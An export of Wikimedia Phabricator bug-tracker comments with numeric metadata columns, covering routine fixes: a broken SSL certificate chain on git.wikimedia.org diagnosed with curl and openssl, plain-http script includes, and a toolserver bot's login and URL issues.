https://gerrit.wikimedia.org/r/106842",,,1389394794,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gg44ewrw4yljbluhzlpz,task_subcomment,,True,c3,1,False,,,-77,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.636363636363637,1.0,"Change 106842 merged by RobH:
install rapidssl_ca_2.pem

GERRIT_URL"
276467,curl https://git.wikimedia.org/ gives invalid certificate,"Change 106842 had a related patch set uploaded by RobH:
install rapidssl_ca_2.pem

https://gerrit.wikimedia.org/r/106842",,,1389394656,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gg44ewrw4yljbluhzlpz,task_subcomment,,True,c3,1,False,,,-77,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,5.1875,1.0,"Change 106842 had a related patch set uploaded by RobH:
install rapidssl_ca_2.pem

GERRIT_URL"
276463,curl https://git.wikimedia.org/ gives invalid certificate,"Change 106785 merged by RobH:
fixes star.wikimedia.org intermidite certificate chain

https://gerrit.wikimedia.org/r/106785",,,1389393809,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gg44ewrw4yljbluhzlpz,task_subcomment,,True,c3,1,False,,,-77,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.285714285714286,1.0,"Change 106785 merged by RobH:
fixes star.wikimedia.org intermidite certificate chain

GERRIT_URL"
276458,curl https://git.wikimedia.org/ gives invalid certificate,"Change 106785 had a related patch set uploaded by RobH:
fixes star.wikimedia.org intermidite certificate chain

https://gerrit.wikimedia.org/r/106785",,,1389393647,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gg44ewrw4yljbluhzlpz,task_subcomment,,True,c3,1,False,,,-77,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.7368421052631575,1.0,"Change 106785 had a related patch set uploaded by RobH:
fixes star.wikimedia.org intermidite certificate chain

GERRIT_URL"
276453,curl https://git.wikimedia.org/ gives invalid certificate,"And on my machine the chain is:

Certificate chain
 0 s:/serialNumber=06QcQ9dUSZqu5ru7oQSfeCpXiBccrCyh/C=US/O=*.wikimedia.org/OU=GT11518520/OU=See www.rapidssl.com/resources/cps (c)10/OU=Domain Control Validated - RapidSSL(R)/CN=*.wikimedia.org
   i:/C=US/O=GeoTrust, Inc./CN=RapidSSL CA
 1 s:/C=US/O=GeoTrust, Inc./CN=RapidSSL CA
   i:/C=US/O=GeoTrust Inc./CN=GeoTrust Global CA
 2 s:/C=US/O=GeoTrust Inc./CN=GeoTrust Global CA
   i:/C=US/O=GeoTrust Inc./CN=GeoTrust Global CA

(correct)",,,1389391892,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-gg44ewrw4yljbluhzlpz,task_subcomment,,True,c3,1,True,,,-77,True,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,34.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,2.0,0.0,1.0,0.5,37.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.172727272727273,0.5272727272727273,"And on my machine the chain is:

Certificate chain
 0 s:/serialNumber=06QcQ9dUSZqu5ru7oQSfeCpXiBccrCyh/C=US/O=*.wikimedia.org/OU=GT11518520/OU=See www.rapidssl.com/resources/cps (c)10/OU=Domain Control Validated - RapidSSL(R)/CN=*.wikimedia.org
   i:/C=US/O=GeoTrust, Inc./CN=RapidSSL CA
 1 s:/C=US/O=GeoTrust, Inc./CN=RapidSSL CA
   i:/C=US/O=GeoTrust Inc./CN=GeoTrust Global CA
 2 s:/C=US/O=GeoTrust Inc./CN=GeoTrust Global CA
   i:/C=US/O=GeoTrust Inc./CN=GeoTrust Global CA

(correct)"
276447,curl https://git.wikimedia.org/ gives invalid certificate,"Trying on lanthanum:

hashar@lanthanum:~$ openssl s_client -connect git.wikimedia.org:443
...
Certificate chain
 0 s:/serialNumber=06QcQ9dUSZqu5ru7oQSfeCpXiBccrCyh/C=US/O=*.wikimedia.org/OU=GT11518520/OU=See www.rapidssl.com/resources/cps (c)10/OU=Domain Control Validated - RapidSSL(R)/CN=*.wikimedia.org
   i:/C=US/O=GeoTrust, Inc./CN=RapidSSL CA
 1 s:/C=US/O=Equifax/OU=Equifax Secure Certificate Authority
   i:/C=US/O=Equifax/OU=Equifax Secure Certificate Authority
$

Equifax is wrong, should be Geotrust :(",,,1389391595,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-gg44ewrw4yljbluhzlpz,task_subcomment,,True,c3,1,True,,,-77,True,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,39.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,1.0,1.0,43.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.938775510204081,0.5408163265306123,"Trying on lanthanum:

hashar@lanthanum:~$ openssl s_client -connect git.wikimedia.org:443
...
Certificate chain
 0 s:/serialNumber=06QcQ9dUSZqu5ru7oQSfeCpXiBccrCyh/C=US/O=*.wikimedia.org/OU=GT11518520/OU=See www.rapidssl.com/resources/cps (c)10/OU=Domain Control Validated - RapidSSL(R)/CN=*.wikimedia.org
   i:/C=US/O=GeoTrust, Inc./CN=RapidSSL CA
 1 s:/C=US/O=Equifax/OU=Equifax Secure Certificate Authority
   i:/C=US/O=Equifax/OU=Equifax Secure Certificate Authority
$

Equifax is wrong, should be Geotrust :("
276441,curl https://git.wikimedia.org/ gives invalid certificate,"Damn I was wrong! The job last success was Jan 8th 13:20 ,  first failure Jan 10th 3:37 UTC.",,,1389390688,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-gg44ewrw4yljbluhzlpz,task_subcomment,,True,c3,1,True,,,-77,True,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,27.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,5.0,9.0,0.0,5.0,0.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3636363636363638,0.9090909090909091,"Damn I was wrong! The job last success was Jan 8th 13:20 ,  first failure Jan 10th 3:37 UTC."
276436,curl https://git.wikimedia.org/ gives invalid certificate,According to the history of Jenkins job https://integration.wikimedia.org/ci/job/mwext-browsertests-UniversalLanguageSelector-phantomjs/ (which uses https://git.wikimedia.org/ ). That stopped working between Dec 10 2013 17:15 and Dec 11 2013 13:40UTC.,,,1389390411,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-gg44ewrw4yljbluhzlpz,task_subcomment,,True,c3,1,True,,,-77,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,11.0,14.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,3.9642857142857144,0.8571428571428571,According to the history of Jenkins job URL (which uses URL ). That stopped working between Dec 10 2013 17:15 and Dec 11 2013 13:40UTC.
276431,curl https://git.wikimedia.org/ gives invalid certificate,"Found out the same issue on production machine lanthanum.eqiad.wmnet.  It is lacking the Rapid SSL CA cert:

$ ll /etc/ssl/certs/*apid*
ls: cannot access /etc/ssl/certs/*apid*: No such file or directory
$

No chained either since that machine never had any certificate installed.",,,1389390272,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-gg44ewrw4yljbluhzlpz,task_subcomment,,True,c3,1,True,,,-77,True,2.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,11.0,2.0,3.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,3.9193548387096775,0.7419354838709677,"Found out the same issue on production machine lanthanum.eqiad.wmnet.  It is lacking the Rapid SSL CA cert:

$ ll /etc/ssl/certs/*apid*
ls: cannot access /etc/ssl/certs/*apid*: No such file or directory
$

No chained either since that machine never had any certificate installed."
276424,curl https://git.wikimedia.org/ gives invalid certificate,"Change 106771 had a related patch set uploaded by Hashar:
star.wikimedia.org cert chain fix

https://gerrit.wikimedia.org/r/106771",,,1389386441,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gg44ewrw4yljbluhzlpz,task_subcomment,,True,c3,1,False,,,-77,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,5.055555555555555,1.0,"Change 106771 had a related patch set uploaded by Hashar:
star.wikimedia.org cert chain fix

GERRIT_URL"
276417,curl https://git.wikimedia.org/ gives invalid certificate,"With curl in verbose mode:

hashar@integration-selenium-driver:~$ curl -v https://git.wikimedia.org/
* About to connect() to git.wikimedia.org port 443 (#0)
*   Trying 208.80.154.241... connected
* successfully set certificate verify locations:
*   CAfile: none
  CApath: /etc/ssl/certs
* SSLv3, TLS handshake, Client hello (1):
* SSLv3, TLS handshake, Server hello (2):
* SSLv3, TLS handshake, CERT (11):
* SSLv3, TLS alert, Server hello (2):
* SSL certificate problem, verify that the CA cert is OK. Details:
error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
* Closing connection #0
curl: (60) SSL certificate problem, verify that the CA cert is OK. Details:
error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
More details here: http://curl.haxx.se/docs/sslcerts.html

curl performs SSL certificate verification by default, using a ""bundle""
 of Certificate Authority (CA) public keys (CA certs). If the default
 bundle file isn't adequate, you can specify an alternate file
 using the --cacert option.
If this HTTPS server uses a certificate signed by a CA represented in
 the bundle, the certificate verification probably failed due to a
 problem with the certificate (it might be expired, or the name might
 not match the domain name in the URL).
If you'd like to turn off curl's verification of the certificate, use
 the -k (or --insecure) option.
hashar@integration-selenium-driver:~$ 


I guess labs is missing some certificates :(",,,1389374627,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-gg44ewrw4yljbluhzlpz,task_subcomment,,True,c3,1,True,,,-77,True,0.25,0.0,0.0,0.25,0.5,3.5,0.75,0.0,0.0,0.75,1.0,0.5,0.0,0.0,0.0,0.25,0.0,1.5,5.5,0.25,0.5,0.0,0.0,0.0,0.75,0.0,0.0,0.0,1.0,0.25,0.0,2.0,0.25,0.25,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,18.0,0.0,0.75,0.0,0.25,0.0,0.25,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.25,0.0,0.0,0.0,4.75,1.5,11.5,1.25,0.75,5.5,0.0,0.0,0.0,0.5,2.75,0.25,1.75,0.0,1.25,5.5,7.5,0.0,0.5,0.0,1.25,0.0,0.0,1.25,0.0,1.0,0.25,0.0,0.5,3.982911392405063,0.6230221518987342,"With curl in verbose mode:

hashar@integration-selenium-driver:~$ curl -v URL
* About to connect() to git.wikimedia.org port 443 (#0)
*   Trying 208.80.154.241... connected
* successfully set certificate verify locations:
*   CAfile: none
  CApath: /etc/ssl/certs
* SSLv3, TLS handshake, Client hello (1):
* SSLv3, TLS handshake, Server hello (2):
* SSLv3, TLS handshake, CERT (11):
* SSLv3, TLS alert, Server hello (2):
* SSL certificate problem, verify that the CA cert is OK. Details:
error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
* Closing connection #0
curl: (60) SSL certificate problem, verify that the CA cert is OK. Details:
error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
More details here: URL

curl performs SSL certificate verification by default, using a ""bundle""
 of Certificate Authority (CA) public keys (CA certs). If the default
 bundle file isn't adequate, you can specify an alternate file
 using the --cacert option.
If this HTTPS server uses a certificate signed by a CA represented in
 the bundle, the certificate verification probably failed due to a
 problem with the certificate (it might be expired, or the name might
 not match the domain name in the URL).
If you'd like to turn off curl's verification of the certificate, use
 the -k (or --insecure) option.
hashar@integration-selenium-driver:~$ 


I guess labs is missing some certificates :("
61630,wikitrends uses external library with http,"https://tools.wmflabs.org/wikitrends/2013.html includes a javascript-library from jquery.org using http. Some browsers (like chromium) refuse to load it for security reasons. Please make the include-url protocol-independent (://) or use https://.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1388798160,1388872993.0,PHID-USER-4nukugv22wnc3p6k557t,False,,False,PHID-TASK-dil34ibbeqj2draxiqei,task_description,resolved,True,c3,1,False,False,True,-78,True,2.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,4.172413793103448,0.7586206896551724,"URL includes a javascript-library from jquery.org using http. Some browsers (like chromium) refuse to load it for security reasons. Please make the include-url protocol-independent (://) or use URL

--------------------------
**Version**: unspecified
**Severity**: normal"
260135,wikitrends uses external library with http,"**johan.gunnarsson** wrote:

Fixed by making include-URL protocol-independent.",,,1388872961,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-dil34ibbeqj2draxiqei,task_subcomment,,True,c3,1,False,,,-78,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.055555555555555,0.7777777777777778,"**johan.gunnarsson** wrote:

Fixed by making include-URL protocol-independent."
61613,DRTRIGON-133 support of coming https security upgrade,"This issue was converted from https://jira.toolserver.org/browse/DRTRIGON-133.
Summary: support of coming https security upgrade
Issue type: Improvement - An improvement or enhancement to an existing feature or task.
Priority: Major
Status: Reopened
Assignee: drtrigon <dr.trigon@surfeu.ch>

-------------------------------------------------------------------------------
From: Herzi Pinki <herzi.pinki@aon.at>
Date: Thu, 22 Aug 2013 20:26:42
-------------------------------------------------------------------------------

DrTrigonBot category discussion summary (https://toolserver.org/~drtrigon/cgi-bin/sum_cat_disc.py), although called via https, provides links with plain http protocol.

For the upcoming security update, can your bot please use protocol relative urls? 

see https://meta.wikimedia.org/wiki/HTTPS

--------------------------
**Version**: unspecified
**Severity**: major",Needs Triage,90.0,1388784900,1647205304.0,PHID-USER-hbffue25ov3attlvclze,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-pvxahzryelaebcbze4lm,task_description,declined,True,c3,1,False,False,False,-78,True,0.0,0.0,0.0,0.5,0.0,4.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,0.0,0.0,16.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.5,13.5,1.0,1.0,2.5,0.0,0.0,0.0,0.0,1.5,1.0,3.0,0.0,1.0,5.0,6.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,5.57258064516129,0.75,"This issue was converted from URL
Summary: support of coming https security upgrade
Issue type: Improvement - An improvement or enhancement to an existing feature or task.
Priority: Major
Status: Reopened
Assignee: drtrigon <dr.trigon@surfeu.ch>

-------------------------------------------------------------------------------
From: Herzi Pinki <herzi.pinki@aon.at>
Date: Thu, 22 Aug 2013 20:26:42
-------------------------------------------------------------------------------

DrTrigonBot category discussion summary (URL although called via https, provides links with plain http protocol.

For the upcoming security update, can your bot please use protocol relative urls? 

see URL

--------------------------
**Version**: unspecified
**Severity**: major"
1879107,DRTRIGON-133 support of coming https security upgrade,Declining this task as this project is not active anymore. See T300969 for more information.,,,1647205304,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-pvxahzryelaebcbze4lm,task_subcomment,,True,c3,3,True,,,349,True,0.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,18.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,4.588235294117647,0.8823529411764706,Declining this task as this project is not active anymore. See T300969 for more information.
281226,DRTRIGON-133 support of coming https security upgrade,"(In reply to comment #1)
> -----------------------------------------------------------------------------
> --
> From: drtrigon <dr.trigon@surfeu.ch>
> Date: Sun, 22 Sep 2013 10:18:36
> -----------------------------------------------------------------------------
> --
> 
> Solved in https://gerrit.wikimedia.org/r/#/c/85521/.
> 
> Please check it and re-open the ticket if there are some issues left.

this is fixed for the case I mentioned in the bug report. Thanks a lot.",,,1388870718,,PHID-USER-cvjhvwd4dkky6b7a2tgi,False,,,PHID-TASK-pvxahzryelaebcbze4lm,task_subcomment,,True,c3,1,False,,,-78,True,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,28.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,9.0,17.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0217391304347827,0.5652173913043478,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

this is fixed for the case I mentioned in the bug report. Thanks a lot."
281222,DRTRIGON-133 support of coming https security upgrade,"-------------------------------------------------------------------------------
From: drtrigon <dr.trigon@surfeu.ch>
Date: Sun, 22 Sep 2013 18:14:00
-------------------------------------------------------------------------------

Do this for all other cgi scripts as well!",,,1388784957,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-pvxahzryelaebcbze4lm,task_subcomment,,True,c3,1,False,,,-78,True,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,8.566666666666666,0.8666666666666667,"-------------------------------------------------------------------------------
From: drtrigon <dr.trigon@surfeu.ch>
Date: Sun, 22 Sep 2013 18:14:00
-------------------------------------------------------------------------------

Do this for all other cgi scripts as well!"
281218,DRTRIGON-133 support of coming https security upgrade,"-------------------------------------------------------------------------------
From: drtrigon <dr.trigon@surfeu.ch>
Date: Sun, 22 Sep 2013 10:18:36
-------------------------------------------------------------------------------

Solved in https://gerrit.wikimedia.org/r/#/c/85521/.

Please check it and re-open the ticket if there are some issues left.",,,1388784955,,PHID-USER-hbffue25ov3attlvclze,False,,,PHID-TASK-pvxahzryelaebcbze4lm,task_subcomment,,True,c3,1,False,,,-78,True,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,18.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,10.0,2.0,8.0,0.0,2.0,10.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.325,0.875,"-------------------------------------------------------------------------------
From: drtrigon <dr.trigon@surfeu.ch>
Date: Sun, 22 Sep 2013 10:18:36
-------------------------------------------------------------------------------

Solved in URL

Please check it and re-open the ticket if there are some issues left."
61507,DRTRIGON-112 subster_irc bot forgets wiki login when accessing other mediawiki project,"This issue was converted from https://jira.toolserver.org/browse/DRTRIGON-112.
Summary: subster_irc bot forgets wiki login when accessing other mediawiki project
Issue type: Bug - A problem which impairs or prevents the functions of the product.
Priority: Major
Status: Closed
Assignee: drtrigon <dr.trigon@surfeu.ch>

-------------------------------------------------------------------------------
From: drtrigon <dr.trigon@surfeu.ch>
Date: Tue, 17 Jan 2012 19:06:41
-------------------------------------------------------------------------------

When looking at the logfile from 2012-01-17 for following comments and later:

> 2012-01-17 19:44:36,744 bot_control INFO Password for user DrTrigonBot on wikipedia:de:

the subster bot (may be just when used by subster_irc...?!?) asks for the wiki password.  
(look also at difflink in URL - which triggered the error in the logfile)

We have to protect the bot from logging out when accessing foreign wikis!

--------------------------
**Version**: unspecified
